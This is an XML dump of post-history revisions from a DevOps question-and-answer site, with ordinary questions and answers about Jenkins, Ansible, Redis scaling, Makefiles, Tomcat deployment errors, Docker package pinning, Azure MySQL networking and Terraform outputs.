  <row Id="31823" PostHistoryTypeId="4" PostId="519" RevisionGUID="492337fd-b3bd-4166-ad3d-b4711e40d43a" CreationDate="2019-12-31T19:11:08.130" UserId="210" Comment="edited title" Text="What are best practices and/or tools for updating AMIs on a regular basis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31825" PostHistoryTypeId="2" PostId="10361" RevisionGUID="94cb2417-e43e-4110-8139-ced0f2817001" CreationDate="2019-12-31T19:50:30.800" UserId="210" Text="You could install Jenkins using helm to install the k8s plugin as well.&#xD;&#xA;&#xD;&#xA;https://github.com/helm/charts/tree/master/stable/jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="31826" PostHistoryTypeId="10" PostId="9017" RevisionGUID="4bba3599-083a-4d7c-ae08-b39b81d0c227" CreationDate="2019-12-31T19:51:56.940" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[5220],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31827" PostHistoryTypeId="2" PostId="10362" RevisionGUID="09d5da69-33c5-4556-bcf2-d01b42e7f26b" CreationDate="2019-12-31T19:58:13.580" UserId="210" Text="According to https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html&#xD;&#xA;&#xD;&#xA;it should be `remote_user:` if it still does not work, run the playbook with `-vvvv` and add the log to the Q&amp;A." ContentLicense="CC BY-SA 4.0" />
  <row Id="31828" PostHistoryTypeId="6" PostId="9851" RevisionGUID="8c725aaa-5e7d-4e90-bfaa-f0afaf00f82d" CreationDate="2019-12-31T20:00:32.403" UserId="210" Comment="edited tags" Text="&lt;azure&gt;&lt;azure-marketplace&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31829" PostHistoryTypeId="2" PostId="10363" RevisionGUID="86f6afd0-a295-4db8-9ceb-b8d99e9d1865" CreationDate="2019-12-31T20:07:53.510" UserId="210" Text="According to https://azure.microsoft.com/de-de/blog/container-apps-now-available-in-the-azure-marketplace/ it seems to be possible to define the storage-size when a container-app is chosen." ContentLicense="CC BY-SA 4.0" />
  <row Id="31830" PostHistoryTypeId="2" PostId="10364" RevisionGUID="e3ce5160-f519-45d9-a0ad-0132f0a209e4" CreationDate="2019-12-31T20:09:59.380" UserId="210" Text="The author of the Q&amp;A indicated that the issue has been solved since absolute paths were used." ContentLicense="CC BY-SA 4.0" />
  <row Id="31831" PostHistoryTypeId="16" PostId="10364" RevisionGUID="5278abb4-36fa-4f56-a8aa-06d123f5003d" CreationDate="2019-12-31T20:09:59.380" UserId="210" />
  <row Id="31832" PostHistoryTypeId="5" PostId="9078" RevisionGUID="ec612420-bdaf-41ed-b5d1-67f027dbf6fa" CreationDate="2019-12-31T20:21:17.967" UserId="210" Comment="edited body" Text="# Background&#xD;&#xA;&#xD;&#xA;last week we had a major outage, we identified the bottle neck to be redis number of connections:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA; Our quick fix was to scale redis from cache.m4.4xlarge to chache.m4.10xlarge (vertical scaling)&#xD;&#xA;&#xD;&#xA;However this scaling is quite expensive:&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;we would like to scale horizontally:&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;Unfortunately, the application code we are using now only allows us to either create a redis cluster with multiple shards, or using a single shard with multiple replicas (see discussion [here][4]). &#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;considering that our bottle neck is the connection limit, would it be getter to scale by clustering and increasing the shard number, or by having a single shard and replicating it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lig1O.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/jLqDW.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ieKvp.png&#xD;&#xA;  [4]: https://stackoverflow.com/questions/57761328/how-to-create-a-predis-client-that-does-both-clustering-and-replicatio" ContentLicense="CC BY-SA 4.0" />
  <row Id="31833" PostHistoryTypeId="2" PostId="10365" RevisionGUID="ea8aba85-7ecc-43ed-8098-005007b91cdc" CreationDate="2019-12-31T20:32:06.217" UserId="210" Text="According https://docs.microsoft.com/en-us/azure/devops/test/track-test-status?view=azure-devops it should be available by clicking on `Progress report` under `Test Plans`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31839" PostHistoryTypeId="2" PostId="10367" RevisionGUID="9725944d-86ce-4bb3-ab12-4ead6cf70efb" CreationDate="2019-12-31T21:33:00.863" UserId="18890" Text="Let's say that I have 2 targets:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;        # ...&#xD;&#xA;        @$(MAKE) dosomething&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    dosomething:&#xD;&#xA;        # ...&#xD;&#xA;        @if [ -z &quot;$(SOMETHING)&quot; ]; then exit 0; fi&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;`exit 0` of course doesn't work here since make ignores non-negative exit in subshells used to exectute instructions. Is there any other way to skip the rest of the target without breaking further execution of `test` target? I could make the rest a single long instruction of else but wondering if there's a different command I'm maybe missing." ContentLicense="CC BY-SA 4.0" />
  <row Id="31840" PostHistoryTypeId="1" PostId="10367" RevisionGUID="9725944d-86ce-4bb3-ab12-4ead6cf70efb" CreationDate="2019-12-31T21:33:00.863" UserId="18890" Text="Exit a target called by parent without throwing an error" ContentLicense="CC BY-SA 4.0" />
  <row Id="31841" PostHistoryTypeId="3" PostId="10367" RevisionGUID="9725944d-86ce-4bb3-ab12-4ead6cf70efb" CreationDate="2019-12-31T21:33:00.863" UserId="18890" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31842" PostHistoryTypeId="2" PostId="10368" RevisionGUID="3c00010c-5bca-4dca-8815-77eac9ae100b" CreationDate="2019-12-31T21:41:18.320" UserId="18891" Text="I'm trying to auto-deploy my webapps to tomcat using Maven plugin `tomcat7-maven-plugin`. I took the following three steps:&#xD;&#xA;&#xD;&#xA; 1. Added a new user with deployment rights to tomcat,&#xD;&#xA; 2. Introduced the mentioned tomcat user to maven,&#xD;&#xA; 3. Edited my project's pom.xml to use the plugin.&#xD;&#xA;&#xD;&#xA;For the first step, I added the following lines to the file `conf\tomcat-users.xml` in tomcat's installation directory:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&lt;role rolename=&quot;manager-gui&quot;/&gt;&#xD;&#xA;&lt;role rolename=&quot;manager-script&quot;/&gt;&#xD;&#xA;&lt;role rolename=&quot;manager-jmx&quot;/&gt;&#xD;&#xA;&lt;user username=&quot;war-deployer&quot; password=&quot;some-password&quot;&#xD;&#xA;    roles=&quot;manager-gui,manager-script,manager-jmx&quot; /&gt;&#xD;&#xA;```&#xD;&#xA;and then I restarted tomcat.&#xD;&#xA;&#xD;&#xA;For the second step, I added the following to the `&lt;servers&gt;` node of `conf\settings.xml` file in `MAVEN_HOME` directory:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&lt;server&gt;&#xD;&#xA;    &lt;id&gt;maven-tomcat-war-deployment-server&lt;/id&gt;&#xD;&#xA;    &lt;username&gt;war-deployer&lt;/username&gt;&#xD;&#xA;    &lt;password&gt;some-password&lt;/password&gt;&#xD;&#xA;&lt;/server&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And finally, to take to third step, I added the following lines to `&lt;plugins&gt;` node of `pom.xml` in my project to use `tomcat7-maven-plugin`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&lt;plugin&gt;&#xD;&#xA;    &lt;groupId&gt;org.apache.tomcat.maven&lt;/groupId&gt;&#xD;&#xA;    &lt;artifactId&gt;tomcat7-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;    &lt;version&gt;2.0&lt;/version&gt;&#xD;&#xA;    &lt;configuration&gt;&#xD;&#xA;        &lt;url&gt;http://localhost:8080/manager/text&lt;/url&gt;&#xD;&#xA;        &lt;path&gt;/my-project-url-path&lt;/path&gt;&#xD;&#xA;    &lt;/configuration&gt;&#xD;&#xA;&lt;/plugin&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I thought everything would go fine, but when typing the command `mvn tomcat7:deploy` my webapp didn't get deployed, nothing was added to tomcat's `webapps` directory, and the following response was sent back from tomcat to the command line:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[INFO] tomcatManager status code:401, ReasonPhrase:&#xD;&#xA;[INFO] &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&#xD;&#xA;[INFO] &lt;html&gt;&#xD;&#xA;[INFO]  &lt;head&gt;&#xD;&#xA;[INFO]   &lt;title&gt;401 Unauthorized&lt;/title&gt;&#xD;&#xA;[INFO]   &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;[INFO]     &lt;!--&#xD;&#xA;[INFO]     BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;font-size:12px;}&#xD;&#xA;[INFO]     H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;}&#xD;&#xA;[INFO]     PRE, TT {border: 1px dotted #525D76}&#xD;&#xA;[INFO]     A {color : black;}A.name {color : black;}&#xD;&#xA;[INFO]     --&gt;&#xD;&#xA;[INFO]   &lt;/style&gt;&#xD;&#xA;[INFO]  &lt;/head&gt;&#xD;&#xA;[INFO]  &lt;body&gt;&#xD;&#xA;[INFO]    &lt;h1&gt;401 Unauthorized&lt;/h1&gt;&#xD;&#xA;[INFO]    &lt;p&gt;&#xD;&#xA;[INFO]     You are not authorized to view this page. If you have not changed&#xD;&#xA;[INFO]     any configuration files, please examine the file&#xD;&#xA;[INFO]     &lt;tt&gt;conf/tomcat-users.xml&lt;/tt&gt; in your installation. That&#xD;&#xA;[INFO]     file must contain the credentials to let you use this webapp.&#xD;&#xA;[INFO]    &lt;/p&gt;&#xD;&#xA;[INFO]    &lt;p&gt;&#xD;&#xA;[INFO]     For example, to add the &lt;tt&gt;manager-gui&lt;/tt&gt; role to a user named&#xD;&#xA;[INFO]     &lt;tt&gt;tomcat&lt;/tt&gt; with a password of &lt;tt&gt;s3cret&lt;/tt&gt;, add the following to the&#xD;&#xA;[INFO]     config file listed above.&#xD;&#xA;[INFO]    &lt;/p&gt;&#xD;&#xA;[INFO] &lt;pre&gt;&#xD;&#xA;[INFO] &amp;lt;role rolename=&quot;manager-gui&quot;/&amp;gt;&#xD;&#xA;[INFO] &amp;lt;user username=&quot;tomcat&quot; password=&quot;s3cret&quot; roles=&quot;manager-gui&quot;/&amp;gt;&#xD;&#xA;[INFO] &lt;/pre&gt;&#xD;&#xA;[INFO]    &lt;p&gt;&#xD;&#xA;[INFO]     Note that for Tomcat 7 onwards, the roles required to use the manager&#xD;&#xA;[INFO]     application were changed from the single &lt;tt&gt;manager&lt;/tt&gt; role to the&#xD;&#xA;[INFO]     following four roles. You will need to assign the role(s) required for&#xD;&#xA;[INFO]     the functionality you wish to access.&#xD;&#xA;[INFO]    &lt;/p&gt;&#xD;&#xA;[INFO]     &lt;ul&gt;&#xD;&#xA;[INFO]       &lt;li&gt;&lt;tt&gt;manager-gui&lt;/tt&gt; - allows access to the HTML GUI and the status&#xD;&#xA;[INFO]           pages&lt;/li&gt;&#xD;&#xA;[INFO]       &lt;li&gt;&lt;tt&gt;manager-script&lt;/tt&gt; - allows access to the text interface and the&#xD;&#xA;[INFO]           status pages&lt;/li&gt;&#xD;&#xA;[INFO]       &lt;li&gt;&lt;tt&gt;manager-jmx&lt;/tt&gt; - allows access to the JMX proxy and the status&#xD;&#xA;[INFO]           pages&lt;/li&gt;&#xD;&#xA;[INFO]       &lt;li&gt;&lt;tt&gt;manager-status&lt;/tt&gt; - allows access to the status pages only&lt;/li&gt;&#xD;&#xA;[INFO]     &lt;/ul&gt;&#xD;&#xA;[INFO]    &lt;p&gt;&#xD;&#xA;[INFO]     The HTML interface is protected against CSRF but the text and JMX interfaces&#xD;&#xA;[INFO]     are not. To maintain the CSRF protection:&#xD;&#xA;[INFO]    &lt;/p&gt;&#xD;&#xA;[INFO]    &lt;ul&gt;&#xD;&#xA;[INFO]     &lt;li&gt;Users with the &lt;tt&gt;manager-gui&lt;/tt&gt; role should not be granted either&#xD;&#xA;[INFO]         the &lt;tt&gt;manager-script&lt;/tt&gt; or &lt;tt&gt;manager-jmx&lt;/tt&gt; roles.&lt;/li&gt;&#xD;&#xA;[INFO]     &lt;li&gt;If the text or jmx interfaces are accessed through a browser (e.g. for&#xD;&#xA;[INFO]         testing since these interfaces are intended for tools not humans) then&#xD;&#xA;[INFO]         the browser must be closed afterwards to terminate the session.&lt;/li&gt;&#xD;&#xA;[INFO]    &lt;/ul&gt;&#xD;&#xA;[INFO]    &lt;p&gt;&#xD;&#xA;[INFO]     For more information - please see the&#xD;&#xA;[INFO]     &lt;a href=&quot;/docs/manager-howto.html&quot; rel=&quot;noopener noreferrer&quot;&gt;Manager App How-To&lt;/a&gt;.&#xD;&#xA;[INFO]    &lt;/p&gt;&#xD;&#xA;[INFO]  &lt;/body&gt;&#xD;&#xA;[INFO] &lt;/html&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Although no error was reported by maven, and I received a `BUILD SUCCESS` at the end. I've been struggling with the problem for several hours, and searched the Web, but I couldn't find the solution to it. What's wrong with the process that I've followed? Please help me solve it. Thank you very much." ContentLicense="CC BY-SA 4.0" />
  <row Id="31843" PostHistoryTypeId="1" PostId="10368" RevisionGUID="3c00010c-5bca-4dca-8815-77eac9ae100b" CreationDate="2019-12-31T21:41:18.320" UserId="18891" Text="Unable to deploy webapp with `mvn tomcat7:deploy`: 401 Unauthorized" ContentLicense="CC BY-SA 4.0" />
  <row Id="31844" PostHistoryTypeId="3" PostId="10368" RevisionGUID="3c00010c-5bca-4dca-8815-77eac9ae100b" CreationDate="2019-12-31T21:41:18.320" UserId="18891" Text="&lt;maven&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31845" PostHistoryTypeId="6" PostId="10367" RevisionGUID="2150770d-a8eb-4069-bc1b-21174b5985b9" CreationDate="2019-12-31T21:42:10.070" UserId="210" Comment="edited tags" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31846" PostHistoryTypeId="5" PostId="10367" RevisionGUID="2150770d-a8eb-4069-bc1b-21174b5985b9" CreationDate="2019-12-31T21:42:10.070" UserId="210" Comment="edited tags" Text="Let's say that I have 2 targets:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;        # ...&#xD;&#xA;        @$(MAKE) dosomething&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    dosomething:&#xD;&#xA;        # ...&#xD;&#xA;        @if [ -z &quot;$(SOMETHING)&quot; ]; then exit 0; fi&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;`exit 0` of course doesn't work here since `make` ignores non-negative exit in subshells used to execute instructions.&#xD;&#xA;&#xD;&#xA;Is there any other way to skip the rest of the target without breaking further execution of `test` target? I could make the rest a single long instruction of else but wondering if there's a different command I'm maybe missing." ContentLicense="CC BY-SA 4.0" />
  <row Id="31847" PostHistoryTypeId="2" PostId="10369" RevisionGUID="43e8f2d4-2803-4d1d-8119-2e8d91603800" CreationDate="2019-12-31T21:56:11.253" UserId="210" Text="**Makefile**&#xD;&#xA;&#xD;&#xA;    all: test dosomething&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;    	@echo &quot;hello&quot;&#xD;&#xA;    &#xD;&#xA;    dosomething:&#xD;&#xA;    	@if [ &quot;a&quot; = &quot;a&quot; ]; then\&#xD;&#xA;    		echo &quot;world&quot;;\&#xD;&#xA;    		exit 0;\&#xD;&#xA;    	fi&#xD;&#xA;&#xD;&#xA;Running: `make` will return:&#xD;&#xA;&#xD;&#xA;    hello&#xD;&#xA;    world" ContentLicense="CC BY-SA 4.0" />
  <row Id="31859" PostHistoryTypeId="5" PostId="10367" RevisionGUID="5bebd842-e48c-4a3c-96fa-027ef10dc329" CreationDate="2019-12-31T22:56:36.653" UserId="18890" Comment="added 170 characters in body" Text="Let's say that I have 2 targets:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;        # ...&#xD;&#xA;        @$(MAKE) dosomething&#xD;&#xA;        @echo test&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    dosomething:&#xD;&#xA;        # ...&#xD;&#xA;        @if [ -z &quot;$(SOMETHING)&quot; ]; then exit 0; fi&#xD;&#xA;        @echo dosomething&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;I would like `echo test` to execute even if `$(SOMETHING)` is empty and `echo dosomething` only if `$(SOMETHING)` is not empty.&#xD;&#xA;`exit 0` of course doesn't work here since `make` ignores non-negative exit in subshells used to execute instructions.&#xD;&#xA;&#xD;&#xA;Is there any other way to skip the rest of the target without breaking further execution of `test` target? I could make the rest a single long instruction of else but wondering if there's a different command I'm maybe missing." ContentLicense="CC BY-SA 4.0" />
  <row Id="31860" PostHistoryTypeId="5" PostId="10367" RevisionGUID="67b9be56-af4a-4c8f-b4db-d91c731fb7f5" CreationDate="2019-12-31T23:04:16.423" UserId="18890" Comment="added 170 characters in body" Text="Let's say that I have 2 targets:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;        # ...&#xD;&#xA;        @$(MAKE) dosomething&#xD;&#xA;        @echo test&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;    dosomething:&#xD;&#xA;        # ...&#xD;&#xA;        @if [ -z &quot;$(SOMETHING)&quot; ]; then exit 0; fi&#xD;&#xA;        @echo dosomething&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;I would like `echo test` to execute even if `$(SOMETHING)` is empty and `echo dosomething` only if `$(SOMETHING)` is not empty (which doesn't work with the example, it's still executed).&#xD;&#xA;&#xD;&#xA;`exit 0` of course doesn't work here since `make` ignores non-negative exit in subshells used to execute instructions.&#xD;&#xA;&#xD;&#xA;Is there any other way to skip the rest of the target without breaking further execution of `test` target? I could make the rest a single long instruction of else but wondering if there's a different command I'm maybe missing." ContentLicense="CC BY-SA 4.0" />
  <row Id="31861" PostHistoryTypeId="5" PostId="10333" RevisionGUID="1f47f743-b79e-4cbb-bc8a-e48ce67e2702" CreationDate="2020-01-01T00:11:03.487" UserId="739" Comment="copy editing" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;For obvious reasons I believe that every package installed in a Docker image should have their version nailed down.&#xD;&#xA;That's why in our `Dockerfile` we always enforce the OS package manager to install a specific version of a package.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM node:6.10.0&#xD;&#xA;&#xD;&#xA;RUN apt-get update \&#xD;&#xA;      &amp;&amp; apt-get -y install nginx=1.6.2-5+deb8u6 \&#xD;&#xA;      &amp;&amp; apt-get -y install supervisor=3.0r1-1+deb8u1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;The upstream repository has changed and the `nginx=1.6.2-5+deb8u6` package is now invalid. &#xD;&#xA;&#xD;&#xA;I'm not sure what brings about this change but I think it has something to do with distros going out of their support-cycle or that old packages are removed/moved somewhere else. &#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How do I nail the exact version of OS-leveled packages without running into this problem?&#xD;&#xA;&#xD;&#xA;*Note*: I know these 2 options will work but I want to know if there's an easier way out:&#xD;&#xA;&#xD;&#xA;1. Make a custom base image&#xD;&#xA;2. Download the binaries and `COPY` them into the Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="31862" PostHistoryTypeId="4" PostId="10333" RevisionGUID="1f47f743-b79e-4cbb-bc8a-e48ce67e2702" CreationDate="2020-01-01T00:11:03.487" UserId="739" Comment="copy editing" Text="How to pin OS package versions in Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="31865" PostHistoryTypeId="5" PostId="481" RevisionGUID="9e6bd10c-ca87-442e-aa3c-e6ec7a7038f1" CreationDate="2020-01-01T00:37:00.100" UserId="47" Comment="edited body" Text="Technically mentioning DevOps *might* be wrong (the question you referenced is also subject to opinions). &#xD;&#xA;&#xD;&#xA;But it can also be seen as clarifying/disambiguating - the term is widely used presently on the job market, not only according to your salary reference but also from the job ads themselves - see https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer.&#xD;&#xA;&#xD;&#xA;You'd only speak the recruiters' language - which is IMHO more important from the communication perspective than potentially being technically correct.&#xD;&#xA;&#xD;&#xA;Language and culture are fluid - something wrong may become de-facto correct and vice-versa." ContentLicense="CC BY-SA 4.0" />
  <row Id="31869" PostHistoryTypeId="2" PostId="10370" RevisionGUID="7f3f5878-9290-4a68-a705-b1cc5b1482a0" CreationDate="2020-01-01T18:52:02.547" UserId="18899" Text="I am having trouble connecting remotely to my MySql install that runs on an Azure VM.&#xD;&#xA;&#xD;&#xA;Here is what I did:&#xD;&#xA;&#xD;&#xA; - Ubuntu VM with MySql 5.7 installed&#xD;&#xA; - Bind Address set to 0.0.0.0 [![enter image description here][1]][1]&#xD;&#xA; - User granted rights with wildcard domain&#xD;&#xA; - Opened 3306 on Azure networking page [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;I can connect using MySql Workbench if I use the ssh credentials, but not directly.&#xD;&#xA;&#xD;&#xA;I cannot connect with telnet, which tells me that the issue is with Networking, but I am not sure what the issue is.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/EwjFa.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Oh8qi.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31870" PostHistoryTypeId="1" PostId="10370" RevisionGUID="7f3f5878-9290-4a68-a705-b1cc5b1482a0" CreationDate="2020-01-01T18:52:02.547" UserId="18899" Text="Connecting to MySQL Remotely on Azure VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="31871" PostHistoryTypeId="3" PostId="10370" RevisionGUID="7f3f5878-9290-4a68-a705-b1cc5b1482a0" CreationDate="2020-01-01T18:52:02.547" UserId="18899" Text="&lt;azure&gt;&lt;networking&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31877" PostHistoryTypeId="2" PostId="10371" RevisionGUID="e85fde75-4240-49ae-8a06-341bfbc4ac19" CreationDate="2020-01-02T09:23:17.803" UserId="18907" Text="Are there any DevOps tools or known practices to monitor custom made console application on an on premises (Windows Server) environment? &#xD;&#xA;&#xD;&#xA;We developed an exe that needs to be continuously running, and if it fails we would like to know, so we can re-start it. Maybe there are tools to re-start them automatically?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31878" PostHistoryTypeId="1" PostId="10371" RevisionGUID="e85fde75-4240-49ae-8a06-341bfbc4ac19" CreationDate="2020-01-02T09:23:17.803" UserId="18907" Text="Are there any tools to monitor custom console applications on Windows Server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31879" PostHistoryTypeId="3" PostId="10371" RevisionGUID="e85fde75-4240-49ae-8a06-341bfbc4ac19" CreationDate="2020-01-02T09:23:17.803" UserId="18907" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31880" PostHistoryTypeId="2" PostId="10372" RevisionGUID="bb8b3fbd-1458-4536-8bc9-31c96d2f144b" CreationDate="2020-01-02T11:55:36.360" UserId="2867" Text="This is my solution how to output usernames and passwords:&#xD;&#xA;&#xD;&#xA;In the module:&#xD;&#xA;&#xD;&#xA;    output &quot;mysql_credentials&quot; {&#xD;&#xA;      value = [&#xD;&#xA;        for user in var.mysql_users :&#xD;&#xA;        { &quot;username&quot; = &quot;${user}@${var.cluster_name}&quot; // Hostname is for Azure MySQL service&#xD;&#xA;          &quot;password&quot; = &quot;${random_password.test[user][&quot;result&quot;]}&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In the terraform file referencing the module:&#xD;&#xA;&#xD;&#xA;    output &quot;mysql_service_credentials&quot; {&#xD;&#xA;      value = module.cluster.mysql_credentials&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The output:&#xD;&#xA;&#xD;&#xA;    mysql_credentials = [&#xD;&#xA;      {&#xD;&#xA;        &quot;Password&quot; = &quot;OecheeP1Iequ6zeis2aipai5eiyooL8g&quot;&#xD;&#xA;        &quot;Username&quot; = &quot;stage-cat@stage&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;Password&quot; = &quot;xaed1EiGh4ahbea4ohjeetouw0Geph8o&quot;&#xD;&#xA;        &quot;Username&quot; = &quot;stage-dog@stage&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;Password&quot; = &quot;Seu8ieciewoh4Ohl6Ut7em1aiVie1Ao0&quot;&#xD;&#xA;        &quot;Username&quot; = &quot;stage-snake@stage&quot;&#xD;&#xA;      },&#xD;&#xA;    ]" ContentLicense="CC BY-SA 4.0" />
  <row Id="31881" PostHistoryTypeId="2" PostId="10373" RevisionGUID="50e412e3-dc2e-4bb9-85aa-37e65d46a9cd" CreationDate="2020-01-02T12:30:28.120" UserId="7646" Text="We didn't find the cause, neither a real solution.&#xD;&#xA;&#xD;&#xA;There is a workaround though:&#xD;&#xA;&#xD;&#xA;Put a pipeline stage with `rm -rf *` before your `scm checkout` stage. This solves the problem but I will change the accepted answer to whoever posts the real reason and fix for the problem.&#xD;&#xA;&#xD;&#xA;**Sidenote:**&#xD;&#xA;&#xD;&#xA;Keep in mind that you will erase anything in your Jenkins workspace doing that. So be certain that you have everything you need in Git so it comes back with the checkout or get it back some other way.&#xD;&#xA;&#xD;&#xA;If you rely on files in your Jenkins workspace from previous runs then this method is not for you!&#xD;&#xA;&#xD;&#xA;(Although you might want to think about adapting your Job so files from previous runs are not needed anymore. Every run should contain the files it needs by itself and not rely on other runs.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="31882" PostHistoryTypeId="11" PostId="6151" RevisionGUID="999cb646-8601-4bf3-a4c5-d23ca472a6f4" CreationDate="2020-01-02T13:28:53.133" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31883" PostHistoryTypeId="2" PostId="10374" RevisionGUID="e4e104ec-a5a9-4bf8-b3f4-54a27ffdcf34" CreationDate="2020-01-02T13:56:06.693" UserId="9148" Text="I think this _might_ just be a permissions issue. You can test this by manually running `git clean -fdx` as the user running Jenkins. If it doesn't work, try it again with `sudo git clean -fdx`. If it works, then it's probably an issue with permissions or ownership on one or more files/directories within the repo.&#xD;&#xA;&#xD;&#xA;As an alternative, you can install the [Workspace Cleanup][1] plugin, which provides the `cleanWs()` function which is used to clean the workspace directory. There are different options, so consult the [documentation][2] to see what might work best for your environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/ws-cleanup&#xD;&#xA;  [2]: https://jenkins.io/doc/pipeline/steps/ws-cleanup/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31884" PostHistoryTypeId="2" PostId="10375" RevisionGUID="0cfe5cae-a6fb-4d23-9144-a16b9d42200f" CreationDate="2020-01-02T14:03:41.613" UserId="9148" Text="This is probably a question better suited for ServerFault or StackOverflow.&#xD;&#xA;&#xD;&#xA;One approach that may work is to [Create a Windows Service from an Executable][1], then set the service to [restart on failure/crash][2]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/3582108/create-windows-service-from-executable&#xD;&#xA;  [2]: https://serverfault.com/questions/48600/how-can-i-automatically-restart-a-windows-service-if-it-crashes" ContentLicense="CC BY-SA 4.0" />
  <row Id="31885" PostHistoryTypeId="34" PostId="8350" RevisionGUID="7576c736-ebc0-4a27-863f-0b5e6103b396" CreationDate="2020-01-02T15:18:21.463" UserId="210" Comment="50" />
  <row Id="31891" PostHistoryTypeId="2" PostId="10376" RevisionGUID="48ce19b9-4c80-4c56-978f-9dbb95f75b77" CreationDate="2020-01-02T22:36:47.510" UserId="210" Text="After reading your Q&amp;A I think that you are looking for a message broker like kafka, rabbitmq or Amazon MQ. Please let me know whether this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="31892" PostHistoryTypeId="6" PostId="5377" RevisionGUID="07b50913-fd41-4b4f-8750-844ea42ec83e" CreationDate="2020-01-02T22:37:58.480" UserId="210" Comment="edited tags" Text="&lt;docker-compose&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31893" PostHistoryTypeId="2" PostId="10377" RevisionGUID="dbf3c42a-485d-48d2-94a5-446521cd6287" CreationDate="2020-01-02T22:40:49.727" UserId="210" Text="Although I agree with @BruceBecker's comment, i.e. running two different rproxies, it is possible to run traefik in front of nginx. At the previous job we configured several servers that were running on nginx behind traefik.&#xD;&#xA;&#xD;&#xA;Ensure that each microservice has the correct labels. Note that Traefik 2.0 changed significantly." ContentLicense="CC BY-SA 4.0" />
